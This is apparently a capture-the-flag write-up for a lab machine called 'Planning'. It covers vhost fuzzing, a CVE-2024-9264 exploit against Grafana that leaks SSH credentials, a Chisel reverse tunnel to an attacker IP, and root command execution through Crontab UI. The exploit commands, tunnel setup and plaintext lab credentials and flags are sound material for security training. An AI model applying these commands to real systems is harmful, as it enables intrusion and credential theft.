Planning¶

Initial Scan¶

Discovered open port 80/tcp on 10.10.11.x

Port 80 is HTTP.

Enumeration¶

Vhost fuzzing reveals a Grafana instance:

gobuster vhost -u "http://planning.htb/" -w /usr/share/wordlists/seclist/Discovery/DNS/namelist.txt --append-domain -t 200

Result: grafana.planning.htb redirects to /login.

The Grafana admin credentials are: admin:0D5oT70Fq13EvB5r

Exploitation¶

CVE-2024-9264 - Grafana Environment Variable Leak¶

Using the exploit from https://github.com/nollium/CVE-2024-9264, we dump the environment variables:

python CVE-2024-9264-multi.py -u admin -p '0D5oT70Fq13EvB5r' -c "env" http://grafana.planning.htb

The leaked environment contains SSH credentials:

GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!

SSH Access¶

ssh enzo@10.10.11.x
# password: RioTecRANDEntANT!

Privilege Escalation¶

The target runs Crontab UI on port 8000, accessible only via port forward. We use Chisel to forward the port:

# On attacker
chisel server --reverse --port 9002

# On target (enzo)
./chisel client 10.10.15.19:9002 R:8000

Crontab UI is accessible at http://localhost:8000 and accepts login with:

Username: root
Password: P4ssw0rdS0pRi0T3c

We create a cron job to execute a reverse shell as root, or directly use the Crontab UI to run commands as root.

Flags¶

user.txt: 40f47754dddd26647a767beb58498a57 root.txt: f797c73893f62c6bb51186fee2ff71d4